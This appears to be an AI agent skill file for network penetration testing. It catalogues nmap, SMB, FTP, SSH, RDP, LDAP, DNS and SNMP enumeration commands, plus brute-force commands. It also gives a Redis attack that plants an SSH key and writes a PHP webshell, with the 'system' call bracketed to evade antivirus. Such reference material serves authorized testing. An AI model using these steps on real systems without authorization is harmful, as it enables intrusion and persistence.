Network Service Enumeration Skill

You are a network penetration testing expert specializing in service enumeration and exploitation. Use this skill when the user requests help with:

• Enumerating network services by port
• Exploiting common network services (SMB, FTP, SSH, RDP, etc.)
• Database service testing (MySQL, MSSQL, PostgreSQL, MongoDB)
• Service-specific vulnerability identification
• Banner grabbing and version detection
• Network protocol analysis

When to Use

Activate this skill when the user asks to:

• Enumerate network services on specific ports
• Test common network service vulnerabilities
• Connect to and exploit database services
• Perform service-specific reconnaissance
• Identify service misconfigurations
• Extract data from network services
• Help with network penetration testing

When NOT to Use

• Source code is available — use auditing-code-for-vulnerabilities
• Web application layer specifically — use testing-web-applications
• Cloud provider APIs and control plane — use exploiting-cloud-platforms
• Passive OSINT before you touch the target — use performing-reconnaissance
• ICS/OT protocols on the network (Modbus/502, DNP3, S7comm/102, OPC UA, BACnet) — use testing-ics-ot-protocols; scanning these the way you scan IT services can crash a PLC, and the safety rules differ

Core Methodologies

1. Port Scanning and Service Discovery

Nmap Scanning Strategies:

# Quick TCP scan
nmap -sC -sV -oA scan 10.10.10.10

# Full TCP port scan
nmap -p- -T4 10.10.10.10
nmap -p- -sV -sC -A 10.10.10.10 -oA full-scan

# UDP scan (top 1000)
sudo nmap -sU --top-ports 1000 10.10.10.10

# Aggressive scan
nmap -A -T4 10.10.10.10

# Specific port scan with scripts
nmap -p 445 --script smb-* 10.10.10.10
nmap -p 21 --script ftp-* 10.10.10.10

# Service version detection
nmap -sV --version-intensity 9 10.10.10.10

# OS detection
sudo nmap -O 10.10.10.10

Fast Port Scanning:

# masscan - very fast
masscan -p1-65535 10.10.10.10 --rate=1000

# rustscan - fast with nmap integration
rustscan -a 10.10.10.10 -- -sC -sV

2. SMB/SAMBA (Port 139, 445)

Enumeration:

# Nmap SMB scripts
nmap -p 445 --script smb-protocols 10.10.10.10
nmap -p 445 --script smb-security-mode 10.10.10.10
nmap -p 445 --script smb-enum-shares 10.10.10.10
nmap -p 445 --script smb-enum-users 10.10.10.10

# smbclient - list shares
smbclient -L //10.10.10.10 -N
smbclient -L //10.10.10.10 -U username

# smbmap
smbmap -H 10.10.10.10
smbmap -H 10.10.10.10 -u username -p password
smbmap -H 10.10.10.10 -u username -p password -R  # Recursive listing

# enum4linux
enum4linux -a 10.10.10.10
enum4linux -U -M -S -P -G 10.10.10.10

# NetExec (nxc, formerly CrackMapExec)
nxc smb 10.10.10.10
nxc smb 10.10.10.10 -u '' -p ''  # Null session
nxc smb 10.10.10.10 -u username -p password --shares
nxc smb 10.10.10.10 -u username -p password --users

Connect to Shares:

# smbclient
smbclient //10.10.10.10/share -U username
smbclient //10.10.10.10/share -N  # Null session

# Mount SMB share
mount -t cifs //10.10.10.10/share /mnt/smb -o username=user,password=pass

# Download all files recursively
smbget -R smb://10.10.10.10/share -U username

SMB Vulnerabilities:

# EternalBlue (MS17-010)
nmap -p 445 --script smb-vuln-ms17-010 10.10.10.10

# Other SMB vulns
nmap -p 445 --script smb-vuln-* 10.10.10.10

3. FTP (Port 21)

Enumeration:

# Connect anonymously
ftp 10.10.10.10
# user: anonymous, pass: anonymous

# Nmap FTP scripts
nmap -p 21 --script ftp-anon 10.10.10.10
nmap -p 21 --script ftp-bounce 10.10.10.10
nmap -p 21 --script ftp-brute 10.10.10.10

# Download all files
wget -r ftp://anonymous:anonymous@10.10.10.10/

FTP Commands:

# In FTP session
ls -la
cd directory
get filename  # Download
mget *  # Download multiple
put filename  # Upload
binary  # Set binary mode for binaries

4. SSH (Port 22)

Enumeration:

# Banner grab
nc 10.10.10.10 22
nmap -p 22 -sV 10.10.10.10

# Enumerate users
./ssh-user-enum.py --port 22 --userList users.txt 10.10.10.10

# Brute force (use carefully)
hydra -l root -P wordlist.txt ssh://10.10.10.10

SSH Key Auth:

# Connect with key
ssh -i id_rsa user@10.10.10.10

# Fix key permissions
chmod 600 id_rsa

# Generate SSH key pair
ssh-keygen -t rsa -b 4096

5. HTTP/HTTPS (Port 80, 443, 8080, 8443)

Web Enumeration:

# Whatweb - identify web technologies
whatweb http://10.10.10.10

# Nikto vulnerability scanner
nikto -h http://10.10.10.10

# Directory/file bruteforce
gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt
feroxbuster -u http://10.10.10.10 -w wordlist.txt
ffuf -u http://10.10.10.10/FUZZ -w wordlist.txt

# DNS subdomain enumeration
gobuster dns -d example.com -w subdomains.txt
ffuf -u http://FUZZ.example.com -w subdomains.txt

# Virtual host discovery
gobuster vhost -u http://10.10.10.10 -w vhosts.txt

SSL/TLS Testing:

# Check SSL certificate
openssl s_client -connect 10.10.10.10:443

# SSL vulnerabilities
nmap -p 443 --script ssl-* 10.10.10.10
testssl.sh https://10.10.10.10

6. RDP (Port 3389)

Enumeration:

# Nmap
nmap -p 3389 --script rdp-* 10.10.10.10

# Check if RDP is enabled
nmap -p 3389 -sV 10.10.10.10

Connect:

# rdesktop
rdesktop 10.10.10.10

# xfreerdp
xfreerdp /u:Administrator /p:password /v:10.10.10.10
xfreerdp /u:user /d:DOMAIN /v:10.10.10.10

Brute Force:

# hydra
hydra -l administrator -P passwords.txt rdp://10.10.10.10

# crowbar
crowbar -b rdp -s 10.10.10.10/32 -u admin -C passwords.txt

7-10. Database Services (MySQL, MSSQL, PostgreSQL, MongoDB)

Full per-service enumeration and exploitation command catalogs for MySQL/MariaDB (3306), MSSQL (1433), PostgreSQL (5432), and MongoDB (27017) live in references/database-services.md.

11. Redis (Port 6379)

Enumeration:

# Connect
redis-cli -h 10.10.10.10

# Nmap
nmap -p 6379 --script redis-* 10.10.10.10

Redis Exploitation:

# In redis-cli
INFO  # Server info
CONFIG GET dir  # Get directory
CONFIG GET dbfilename

# Write SSH key
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
SET mykey "ssh-rsa AAAA..."
SAVE

# Write webshell
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SET mykey "<?php syst[e]m($_GET['cmd']); ?>"
SAVE

syst[e]m is system, bracketed so this file does not match antivirus webshell signatures. See "Antivirus false positives" in the repo README.

12. LDAP (Port 389, 636)

Enumeration:

# Nmap
nmap -p 389 --script ldap-* 10.10.10.10

# ldapsearch
ldapsearch -x -H ldap://10.10.10.10 -b "DC=domain,DC=local"
ldapsearch -x -H ldap://10.10.10.10 -D "user@domain.local" -w password -b "DC=domain,DC=local"

# Dump all
ldapsearch -x -H ldap://10.10.10.10 -b "DC=domain,DC=local" "(objectClass=*)"

13. NFS (Port 2049)

Enumeration:

# Show exports
showmount -e 10.10.10.10

# Nmap
nmap -p 2049 --script nfs-* 10.10.10.10

Mount NFS:

# Mount share
mkdir /mnt/nfs
mount -t nfs 10.10.10.10:/share /mnt/nfs

# List mounted shares
df -h

14. DNS (Port 53)

Enumeration:

# Zone transfer
dig axfr @10.10.10.10 domain.com
host -l domain.com 10.10.10.10

# DNS enumeration
dnsenum domain.com
dnsrecon -d domain.com -t std
fierce -dns domain.com

# Nmap
nmap -p 53 --script dns-* 10.10.10.10

15. SNMP (Port 161)

Enumeration:

# snmpwalk
snmpwalk -v2c -c public 10.10.10.10
snmpwalk -v2c -c public 10.10.10.10 1.3.6.1.2.1.1

# onesixtyone - community string brute force
onesixtyone -c community.txt 10.10.10.10

# snmp-check
snmp-check 10.10.10.10 -c public

Quick Service Testing Commands

Banner Grabbing:

# Netcat
nc -nv 10.10.10.10 80
nc -nv 10.10.10.10 21

# Telnet
telnet 10.10.10.10 80
telnet 10.10.10.10 25

# Nmap
nmap -sV --script=banner 10.10.10.10

Reference Links

• HackTricks Service Pentesting: https://github.com/HackTricks-wiki/hacktricks/tree/master/src/network-services-pentesting
• PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings
• Nmap Scripts: https://nmap.org/nsedoc/

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Reconnaissance (TA0043)

• T1595 Active Scanning — see also performing-reconnaissance
• T1595.002 Vulnerability Scanning

Initial Access (TA0001)

• T1133 External Remote Services (also Persistence)
• T1190 Exploit Public-Facing Application — see also testing-web-applications, testing-apis

Execution (TA0002)

• T1059 Command and Scripting Interpreter — see also testing-web-applications

Credential Access (TA0006)

• T1040 Network Sniffing (also Discovery) — see also attacking-wireless-networks

Discovery (TA0007)

• T1018 Remote System Discovery — see also attacking-active-directory
• T1046 Network Service Discovery

Lateral Movement (TA0008)

• T1021 Remote Services — see also attacking-active-directory
• T1021.002 SMB/Windows Admin Shares — see also attacking-active-directory
• T1021.004 SSH — see also escalating-linux-privileges
• T1210 Exploitation of Remote Services — see also analyzing-binaries

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.